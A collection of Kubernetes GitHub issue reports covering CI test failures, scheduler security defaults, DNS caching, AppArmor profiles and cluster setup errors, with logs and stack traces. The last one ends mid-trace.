failure cluster  199f5e98df83265c9e3e  https://go.k8s.io/triage 199f5e98df83265c9e3e        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ conformance\\ |\\ feature:bootstraptokens\\ |\\ feature:nodeauthorizer\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    2 jobs failed,    71 builds failed. failure stats cover 1 day time range '17 oct 2017 11:59 utc' to '18 oct 2017 11:59 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-kubeadm-gce | 36 |  18 oct 2017 11:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/7279  | | ci-kubernetes-e2e-kubeadm-gce-cni-flannel | 35 |  18 oct 2017 11:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-cni-flannel/301  |   current status  https://go.k8s.io/triage 199f5e98df83265c9e3e

currently cpu consumption is not capped, which can be problematic in some setups

kube-scheduler  doesn't have the ability to start an https server. this means that it can't have any authentication and authorization protecting debug and metrics and it can't be exposed anywhere but localhost. unfortunately, the default at the moment is 0.0.0.0, so we have a bad combination of defaults even.\r \r @kubernetes/sig-scheduling-misc \r \r @aveshagarwal @sttts once we figure out how we're going to wire https://github.com/kubernetes/kubernetes/issues/58982 we should apply a congruent solution here

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r fix the following  todo  : \r https://github.com/kubernetes/kubernetes/blob/69324f90e602ca088391f22221301beaf990984e/pkg/scheduler/core/generic_scheduler.go l680-l681\r \r the basic logic in  pickonenodeforpreemption  of using the  min nodes  is continuing reducing the nodes slices through  minpdbviolatingnodes ,  minprioritynodes ,  minsumprioritynodes  and  minnumpodnodes .  it needs 4 slices to do this.\r \r this is my thought to reuse the  min nodes  slices:\r   use 2 nodes slices, such as  minnodesa ,  minnodesb \r   the reducing process becomes:\r   minnodesa  ->  minnodesb \r  clear  minnodesa \r   minnodesb  ->  minnodesa \r  clear  minnodesb \r   minnodesa  ->  minnodesb \r \r @bsalamat please give some suggestion, thanks :smile: \r

i noticed while trying to backport https://github.com/kubernetes/kubernetes/pull/61722 . the bazel unit test is failing because default tmpdir is  /root/.cache/bazel/_bazel_root/e9f728bbd90b3fba632eb31b20e1dacd/bazel-sandbox/8749598038616657393/execroot/__main__/tmp/  which is already 120 character long, whereas maximum path limit for unix sockets is 108 chars. \r \r not sure if anyone has been bit by it but it is possible that - other parts of code that rely on path not being too long will fail.\r \r

we have an e2e test for \ admissionwebhooks should not be able to prevent deleting validating-webhook-configurations or mutating-webhook-configurations\  which verifies that validatingwebhooks are not called on validating-webhook-configurations and mutating-webhook-configurations, but we do not have such a test for mutatingwebhooks.\r \r in https://github.com/kubernetes/kubernetes/pull/58381 discussion_r179234928 we just happened to catch the regression because it was in the validating case, but if a change were to be made breaking the mutating case we wouldn't catch it at the moment.\r \r this issue is to remind myself to add that test case.\r \r /assign\r 

as webhook admission has been beta, and we can implement all the function  initializers  does by webhook admission. so i think it's time to deprecate  initializers , eventually remove it.\r \r /cc @caesarxuchao @deads2k @liggitt @sttts

what happened  :\r i tried to create  podtemplate  object with the following yaml: \r    \r apiversion: core/v1\r kind: podtemplate\r metadata:\r   name: pod-test\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       name: selector\r   template:\r     metadata:\r       labels:\r         name: selector\r     spec:\r       containers:\r       - name: container\r         image: alpine\r         command:  \ /bin/sh\  \r         args:  \ -c\ , \ echo \\\ hello\\\ \  \r    \r i received an error:\r \r > error: unable to recognize \ stdin\ : no matches for kind \ podtemplate\  in version \ core/v1\ \r \r   what you expected to happen  :\r to have it created successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run this:\r    \r kubectl apply -f - <<eof\r apiversion: core/v1\r kind: podtemplate\r metadata:\r   name: pod-test\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       name: selector\r   template:\r     metadata:\r       labels:\r         name: selector\r     spec:\r       containers:\r       - name: container\r         image: alpine\r         command:  \ /bin/sh\  \r         args:  \ -c\ , \ echo \\\ hello\\\ \  \r eof\r    \r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  node1 ~ $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.6\ , gitcommit:\ b1d75deca493a24a2f87eb1efde1a569e52fc8d9\ , gittreestate:\ clean\ , builddate:\ 2018-12-16t04:30:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r https://labs.play-with-k8s.com\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux node1 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r nothing.\r - others:\r \r @kubernetes/sig-api-machinery-bugs

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r -  sig-release-master-blocking gce-cos-master-serial  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-serial \r -  sig-release-master-upgrade gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r \r   which test s  are failing  :\r -  sig-storage  csi volumes  driver: csi-hostpath-v0   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow \r -  sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow \r -  sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow \r \r   since when has it been failing  :\r 2019-01-15  when they were added \r \r   testgrid link  :\r -  master-blocking  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/4554 \r -  master-upgrade  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1966 \r \r   reason for failure  :\r they all seem to be failing with:\r    \r expected grep stdout to be empty  i.e. no mount found .\r    \r \r the failures seem to start with  commit 72895  https://github.com/kubernetes/kubernetes/commit/148248353b883f0dbbefa38100b675a7ed3ba587 .

after a pod's network container gets created, a call is made to the network plugin  documented here: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/kubelet/network/exec/exec.go .   one way for the network plugin to get context information about a pod is to contact the api server to get information about the pod. to do that, the network plugin needs to know the ip address and port information of the api server.  currently there is no nice way to do this. one current option is to look at '/proc/ pidof kubelet /cmdline' to know the ip address of the api server. but it is likely not future proof because the command lines can change.

because the e2e tests are just one big mass of code, no sub-packages, we end up with global symbols like \ timeout\  and a tangle of code calling other code.  we should bust each test into a sub-pkg.

is this a bug report or feature request?  :\r \r  \r   description  :\r \r currently, the predicates/ scheduler are \ configurable\ ; but not all predicate/ be configurable, e.g. the predicates used by kubelet  admit  should not be configurable. after https://github.com/kubernetes/kubernetes/pull/50362 merged, it's better to mark related predicates as unconfigurable.\r \r cc/ @kubernetes/sig-scheduling-feature-requests @gmarek @bsalamat

hi, all. i build a cluster with kubeadm-1.7.4, now all pods runs well but kube-dns can not work. logs of kube-dns are as follows:\r test script:\r kubectl run curl --image=radial/busyboxplus:curl -i --tty\r and kubectl exec -ti busybox -- nslookup kubernetes.default\r result:\r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r nslookup: can't resolve 'kubernetes.default'\r \r expect result:\r server:    10.96.0.10\r address 1: 10.96.0.10 kube-dns.kube-system.svc.cluster.local\r name:      kubernetes.default\r address 1: 10.96.0.1 kubernetes.default.svc.cluster.local\r \r kubedns container:\r    \r i1223 01:30:00.579767       7 dns.go:48  version: 1.14.3-4-gee838f6\r i1223 01:30:00.580565       7 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i1223 01:30:00.580609       7 server.go:113  flag: --alsologtostderr=\ false\ \r i1223 01:30:00.580618       7 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i1223 01:30:00.580624       7 server.go:113  flag: --config-map=\ \ \r i1223 01:30:00.580628       7 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i1223 01:30:00.580634       7 server.go:113  flag: --config-period=\ 10s\ \r i1223 01:30:00.580639       7 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i1223 01:30:00.580644       7 server.go:113  flag: --dns-port=\ 10053\ \r i1223 01:30:00.580650       7 server.go:113  flag: --domain=\ cluster.local.\ \r i1223 01:30:00.580657       7 server.go:113  flag: --federations=\ \ \r i1223 01:30:00.580663       7 server.go:113  flag: --healthz-port=\ 8081\ \r i1223 01:30:00.580667       7 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i1223 01:30:00.580670       7 server.go:113  flag: --kube-master-url=\ \ \r i1223 01:30:00.580684       7 server.go:113  flag: --kubecfg-file=\ \ \r i1223 01:30:00.580687       7 server.go:113  flag: --log-backtrace-at=\ :0\ \r i1223 01:30:00.580696       7 server.go:113  flag: --log-dir=\ \ \r i1223 01:30:00.580699       7 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i1223 01:30:00.580703       7 server.go:113  flag: --logtostderr=\ true\ \r i1223 01:30:00.580706       7 server.go:113  flag: --nameservers=\ \ \r i1223 01:30:00.580711       7 server.go:113  flag: --stderrthreshold=\ 2\ \r i1223 01:30:00.580714       7 server.go:113  flag: --v=\ 2\ \r i1223 01:30:00.580717       7 server.go:113  flag: --version=\ false\ \r i1223 01:30:00.580724       7 server.go:113  flag: --vmodule=\ \ \r i1223 01:30:00.580799       7 server.go:176  starting skydns server  0.0.0.0:10053 \r i1223 01:30:00.581123       7 server.go:198  skydns metrics enabled  /metrics:10055 \r i1223 01:30:00.581143       7 dns.go:147  starting endpointscontroller\r i1223 01:30:00.581149       7 dns.go:150  starting servicecontroller\r i1223 01:30:00.581315       7 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i1223 01:30:00.581333       7 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i1223 01:30:01.081339       7 dns.go:171  initialized services and endpoints from apiserver\r i1223 01:30:01.081389       7 server.go:129  setting up healthz handler  /readiness \r i1223 01:30:01.081398       7 server.go:134  setting up cache handler  /cache \r i1223 01:30:01.081405       7 server.go:120  status http port 8081\r w1223 02:01:48.897616       7 reflector.go:319  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: watch of  v1.service ended with: too old resource version: 198  1771  \r    \r \r dnsmasq container:\r    \r i1223 01:30:00.908418      47 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i1223 01:30:00.908578      47 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i1223 01:30:00.918733      47 nanny.go:111  \r w1223 01:30:00.918765      47 nanny.go:112  got eof from stdout\r i1223 01:30:00.918750      47 nanny.go:108  dnsmasq 88 : started, version 2.76 cachesize 1000\r i1223 01:30:00.918782      47 nanny.go:108  dnsmasq 88 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i1223 01:30:00.918801      47 nanny.go:108  dnsmasq 88 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i1223 01:30:00.918809      47 nanny.go:108  dnsmasq 88 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i1223 01:30:00.918814      47 nanny.go:108  dnsmasq 88 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i1223 01:30:00.918822      47 nanny.go:108  dnsmasq 88 : reading /etc/resolv.conf\r i1223 01:30:00.918829      47 nanny.go:108  dnsmasq 88 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i1223 01:30:00.918834      47 nanny.go:108  dnsmasq 88 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i1223 01:30:00.918840      47 nanny.go:108  dnsmasq 88 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i1223 01:30:00.918845      47 nanny.go:108  dnsmasq 88 : using nameserver 10.129.0.84 53\r i1223 01:30:00.918853      47 nanny.go:108  dnsmasq 88 : using nameserver 10.98.48.39 53\r i1223 01:30:00.918861      47 nanny.go:108  dnsmasq 88 : using nameserver 10.72.55.103 53\r i1223 01:30:00.918867      47 nanny.go:108  dnsmasq 88 : read /etc/hosts - 7 addresses\r    \r \r sidecar container:\r    \r error: logging before flag.parse: i1223 01:30:01.141588      89 main.go:48  version v1.14.3-4-gee838f6\r error: logging before flag.parse: i1223 01:30:01.141702      89 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i1223 01:30:01.141745      89 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i1223 01:30:01.141802      89 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i attempted to start all-on-one testing environment with\r \r    \r enable_daemon=true path='$ pwd /kubernetes/third_party/etcd:${path}' ./hack/local-up-cluster.sh\r    \r \r on fedora rawhide, the way it works just fine on fedora 27. the node never becomes  ready .\r \r   what you expected to happen  :\r \r the  ./hack/local-up-cluster.sh  finishing and the node  127.0.0.1  becoming  ready  shortly after.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r git clone https://github.com/kubernetes/kubernetes.git\r   cd kubernetes && ./hack/install-etcd.sh  \r   cd kubernetes && enable_daemon=true path='$ pwd /kubernetes/third_party/etcd:${path}' ./hack/local-up-cluster.sh  \r kubectl get nodes\r    \r \r   anything else we need to know?  :\r \r on fedora 27, these steps give me working setup.\r \r the  kubectl describe node 127.0.0.1  says  among others \r    \r conditions:\r   type             status    lastheartbeattime                 lasttransitiontime                reason                    message\r   ----             ------    -----------------                 ------------------                ------                    -------\r   outofdisk        unknown   wed, 21 mar 2018 09:23:21 -0400   wed, 21 mar 2018 09:24:04 -0400   nodestatusunknown         kubelet stopped posting node status.\r   memorypressure   unknown   wed, 21 mar 2018 09:23:21 -0400   wed, 21 mar 2018 09:24:04 -0400   nodestatusunknown         kubelet stopped posting node status.\r   diskpressure     unknown   wed, 21 mar 2018 09:23:21 -0400   wed, 21 mar 2018 09:24:04 -0400   nodestatusunknown         kubelet stopped posting node status.\r   pidpressure      false     wed, 21 mar 2018 09:23:21 -0400   wed, 21 mar 2018 09:23:21 -0400   kubelethassufficientpid   kubelet has sufficient pid available\r   ready            unknown   wed, 21 mar 2018 09:23:21 -0400   wed, 21 mar 2018 09:24:04 -0400   nodestatusunknown         kubelet stopped posting node status.\r    \r \r the  /tmp/kubelet.log  ends with\r    \r i0321 09:23:23.492042   27717 factory.go:110  factory \ systemd\  can handle container \ /system.slice/dev-hugepages.mount\ , but ignoring.\r i0321 09:23:23.492059   27717 factory.go:110  factory \ systemd\  can handle container \ /system.slice/tmp.mount\ , but ignoring.\r i0321 09:23:23.496752   27717 cpu_manager.go:155   cpumanager  starting with none policy\r i0321 09:23:23.496810   27717 cpu_manager.go:156   cpumanager  reconciling every 10s\r i0321 09:23:23.496830   27717 policy_none.go:42   cpumanager  none policy: start\r i0321 09:23:23.517797   27717 factory.go:113  using factory \ raw\  for container \ /libcontainer_27717_systemd_test_default.slice\ \r i0321 09:23:23.518259   27717 manager.go:997  added container: \ /libcontainer_27717_systemd_test_default.slice\   aliases:   , namespace: \ \  \r i0321 09:23:23.518614   27717 container.go:448  start housekeeping for container \ /libcontainer_27717_systemd_test_default.slice\ \r i0321 09:23:23.521188   27717 manager.go:1054  destroyed container: \ /libcontainer_27717_systemd_test_default.slice\   aliases:   , namespace: \ \  \r e0321 09:23:23.527391   27717 node_container_manager.go:52  failed to create \ /kubepods\  cgroup\r f0321 09:23:23.527441   27717 kubelet.go:1363  failed to start containermanager delegation not available for unit type\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.1341+c5d4a032d73f90\ , gitcommit:\ c5d4a032d73f90f286fde1a7ca3e782538c47f58\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t13:21:57z\ , goversion:\ go1.10\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.1341+c5d4a032d73f90\ , gitcommit:\ c5d4a032d73f90f286fde1a7ca3e782538c47f58\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t13:21:57z\ , goversion:\ go1.10\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r i0321 09:23:21.140790   27717 manager.go:227  machine: {numcores:8 cpufrequency:2412325 memorycapacity:16817651712 hugepages: {pagesize:2048 numpages:0}  machineid:f72669acdc2840be9a3ca8a2019e3fdb systemuuid:00020003-0004-0005-0006-000700080009 bootid:39dff605-2d5a-4abc-9cc8-c26c44c0c601 filesystems: {device:tmpfs devicemajor:0 deviceminor:20 capacity:8408825856 type:vfs inodes:2052936 hasinodes:true} {device:/dev/mapper/fedora-root devicemajor:253 deviceminor:0 capacity:16095641600 type:vfs inodes:7864320 hasinodes:true} {device:/dev/sda1 devicemajor:8 deviceminor:1 capacity:1023303680 type:vfs inodes:65536 hasinodes:true}  diskmap:map 253:1:{name:dm-1 major:253 minor:1 size:8476688384 scheduler:none} 253:2:{name:dm-2 major:253 minor:2 size:897581056 scheduler:none} 253:3:{name:dm-3 major:253 minor:3 size:346738917376 scheduler:none} 253:4:{name:dm-4 major:253 minor:4 size:346738917376 scheduler:none} 8:0:{name:sda major:8 minor:0 size:896998047744 scheduler:cfq} 253:0:{name:dm-0 major:253 minor:0 size:16106127360 scheduler:none}  networkdevices: {name:enp2s0 macaddress:00:d0:68:10:03:66 speed:1000 mtu:1500} {name:enp3s0 macaddress:00:d0:68:10:03:67 speed:-1 mtu:1500}  topology: {id:0 memory:4159594496 cores: {id:0 threads: 0  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} } {id:1 threads: 1  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} }  caches:  } {id:1 memory:4227317760 cores: {id:0 threads: 2  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} } {id:1 threads: 3  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} }  caches:  } {id:2 memory:4203909120 cores: {id:0 threads: 4  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} } {id:1 threads: 5  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} }  caches:  } {id:3 memory:4226830336 cores: {id:0 threads: 6  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} } {id:1 threads: 7  caches: {size:65536 type:data level:1} {size:65536 type:instruction level:1} {size:1048576 type:unified level:2} }  caches:  }  cloudprovider:unknown instancetype:unknown instanceid:none}\r    \r - os  e.g. from /etc/os-release :\r    \r name=fedora\r version=\ 29  rawhide \ \r id=fedora\r version_id=29\r pretty_name=\ fedora 29  rawhide \ \r ansi_color=\ 0;34\ \r cpe_name=\ cpe:/o:fedoraproject:fedora:29\ \r home_url=\ https://fedoraproject.org/\ \r support_url=\ https://fedoraproject.org/wiki/communicating_and_getting_help\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r redhat_bugzilla_product=\ fedora\ \r redhat_bugzilla_product_version=rawhide\r redhat_support_product=\ fedora\ \r redhat_support_product_version=rawhide\r privacy_policy_url=\ https://fedoraproject.org/wiki/legal:privacypolicy\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux redacted.example.com 4.16.0-0.rc5.git3.1.fc29.x86_64  1 smp fri mar 16 15:28:11 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r    \r systemd-238-4.fc29.x86_64\r    \r

the  containerlogpath test  https://github.com/kubernetes/kubernetes/blob/v1.11.0-alpha.0/test/e2e_node/log_path_test.go  should be updated to check cri log paths.

what happened  :\r node-local-dns caches negative queries, causing things that do polling for orchestration to fail  like operators with statefulsets .\r \r   what you expected to happen  :\r have a minimal ttl for negative responses  alternatively just disable caching by setting the cache size to 0  that follows what was done for kube-dns: https://github.com/kubernetes/kubernetes/pull/53604\r \r   how to reproduce it  as minimally and precisely as possible   :\r with node-local-dns cache deployed, in my cluster it was the https://github.com/coreos/etcd-operator that failed to create clusters because the cached entry didn't expire before it had exhausted all of it's retries.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.6\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any

hi all,  i have tested with fresh os installation with prerequest. i have download and build kubernetes properly and also define node and master in config-default.. at time of kube-up.sh running kubernet will deploye only on master and close the process.  node and master is in same network properly connected. its look like kube-up.sh script issue

hi all,  i'm running dockerized version of k8s from here: https://github.com/luxas/kubernetes-on-arm . i've noticed something really strange when running with apparmor in complain mode, basically i see this:      apparmor module is loaded. 142238 profiles are loaded. 5 profiles are in enforce mode.    /sbin/dhclient    /usr/lib/networkmanager/nm-dhcp-client.action    /usr/lib/networkmanager/nm-dhcp-helper    /usr/lib/connman/scripts/dhclient-script    docker-default 142233 profiles are in complain mode.    /usr/bin/docker    /usr/bin/docker//null-127a    /usr/bin/docker//null-127b    /usr/bin/docker//null-127c    /usr/bin/docker//null-127d    /usr/bin/docker//null-127e    /usr/bin/docker//null-127f    /usr/bin/docker//null-1280 ...    /usr/bin/docker//null-a52//null-a53//null-a61//null-b07//null-cfb//null-cfc//null-fbb//null-ffa//null-ffb    /usr/bin/docker//null-a52//null-a53//null-a61//null-b07//null-cfb//null-cfc//null-fbb//null-ffc    /usr/bin/docker//null-a52//null-a53//null-a61//null-b07//null-cfb//null-cfc//null-fbb//null-ffc//null-ffd    /usr/bin/docker//null-a52//null-a53//null-a61//null-b07//null-cfb//null-cfc//null-fbb//null-ffe    /usr/bin/docker//null-a52//null-a53//null-a61//null-b07//null-cfb//null-cfc//null-fbb//null-ffe//null-fff  22 processes have profiles defined. 0 processes are in enforce mode. 22 processes are in complain mode.    /usr/bin/docker  7827      /usr/bin/docker  7882      /usr/bin/docker  7953      /usr/bin/docker  8019      /usr/bin/docker  8105      /usr/bin/docker//null-12bc  7896      /usr/bin/docker//null-12c3  7961      /usr/bin/docker//null-12e1  8122      /usr/bin/docker//null-12e1//null-12e4  8140      /usr/bin/docker//null-12ea  8157      /usr/bin/docker//null-12ef  8170      /usr/bin/docker//null-12f2  8191      /usr/bin/docker//null-12f5  8200      /usr/bin/docker//null-131c  8340      /usr/bin/docker//null-131d  8341      /usr/bin/docker//null-133d  8392      /usr/bin/docker//null-133d//null-22be3  31007      /usr/bin/docker//null-133d//null-22be3//null-22be4  31008      /usr/bin/docker//null-133d//null-22be3//null-22be4//null-22be5  31009      /usr/bin/docker//null-135a  8437      /usr/bin/docker//null-1375  8470      /usr/bin/docker//null-138e  8512   0 processes are unconfined but have a profile defined.      obviously, 140k complain processes means there's something very wrong, and i don't have even a profile created for docker, beside the default ubuntu one. can anybody explain why would this be happening  i mean 'null' prefixed docker processes cropping up ? also, what would be the best way of securing k8s with apparmor?

forked from discussion in https://github.com/kubernetes/kubernetes/pull/17191  in the final proposal, each federated api server will do auth for the requests they get, but the auth mechanism has to be same across all servers in the cluster  so that clients can contact them via proxy . more details: https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/federated-api-servers.md auth  hence, it will be good to factor out auth as a separate service, which all the federated servers can call.  cc @erictune @smarterclayton @lavalamp @kubernetes/sig-api-machinery @kubernetes/goog-csi

this looks like patch pod status is not properly converting the storage error  errcoderesourceversionconflicts  into an api response, possibly due to a code path missing a call to   interpretupdateerror .         1  failed to update status for pod \ _  \ : operation cannot be fulfilled on pods \ docker-registry-1-deploy\ : storageerror: resource version conflicts, code:    1  failed to update status for pod \ _  \ : operation cannot be fulfilled on pods \ ipfailover-1-deploy\ : storageerror: resource version conflicts, code: 3, k      this may result in improper handling of client calls.

i'm not entirely sure what is happening here, but i've seen this error reported in the real world a few times, and could never figure out what it was.  and then today i installed guestbook-go, and deleted the redis-slave service.\r \r the browser then reports this error  in the network view  when fetching  /lrange/guestbook \r \r    \r panic: dial tcp: lookup redis-slave on 100.64.0.10:53: server misbehaving\r goroutine 3034  running :\r github.com/codegangsta/negroni.  recovery .servehttp.func1 0x7f3e74c77a90, 0xc820284940, 0xc8200acde0 \r \t/go/src/github.com/codegangsta/negroni/recovery.go:34 +0xe9\r panic 0x7a8c60, 0xc8203fa500 \r \t/usr/local/go/src/runtime/panic.go:426 +0x4e9\r main.handleerror 0x6e2780, 0xc820439640, 0x7f3e74c77d40, 0xc8203fa500, 0x0, 0x0 \r \t/go/src/github.com/googlecloudplatform/kubernetes/examples/guestbook-go/_src/main.go:71 +0x59\r main.listrangehandler 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/googlecloudplatform/kubernetes/examples/guestbook-go/_src/main.go:38 +0x187\r net/http.handlerfunc.servehttp 0x8a8278, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/usr/local/go/src/net/http/server.go:1618 +0x3a\r github.com/gorilla/mux.  router .servehttp 0xc82000e4b0, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/gorilla/mux/mux.go:103 +0x270\r github.com/codegangsta/negroni.wrap.func1 0x7f3e74c77a90, 0xc820284940, 0xc820428c40, 0xc8204388e0 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:41 +0x50\r github.com/codegangsta/negroni.handlerfunc.servehttp 0xc8200ace80, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40, 0xc8204388e0 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:24 +0x44\r github.com/codegangsta/negroni.middleware.servehttp 0x7f3e74c76780, 0xc8200ace80, 0xc8200acf00, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:33 +0xaa\r github.com/codegangsta/negroni. middleware .servehttp-fm 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:33 +0x53\r github.com/codegangsta/negroni.  static .servehttp 0xc820013aa0, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40, 0xc820438800 \r \t/go/src/github.com/codegangsta/negroni/static.go:49 +0x2e0\r github.com/codegangsta/negroni.middleware.servehttp 0x7f3e74c76758, 0xc820013aa0, 0xc8200acee0, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:33 +0xaa\r github.com/codegangsta/negroni. middleware .servehttp-fm 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:33 +0x53\r github.com/codegangsta/negroni.  logger .servehttp 0xc820022080, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40, 0xc8204387c0 \r 